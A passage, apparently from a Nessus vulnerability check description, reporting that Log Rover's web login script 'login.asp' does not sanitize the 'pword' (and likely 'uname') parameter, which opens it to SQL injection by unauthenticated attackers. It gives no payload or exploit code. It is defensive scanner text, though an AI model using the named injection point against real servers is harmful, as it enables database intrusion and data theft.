web server log files.

The web interface included with the version of Log Rover installed on
the remote host fails to sanitize user-supplied input to the 'pword'
parameter of the 'login.asp' script before using it to construct
database queries.  An unauthenticated attacker may be able to exploit
this issue to manipulate database queries, leading to disclosure of
sensitive information or attacks against the underlying database.

Note that the 'uname' parameter is also likely to be similarly
affected, although Nessus has not checked for that."
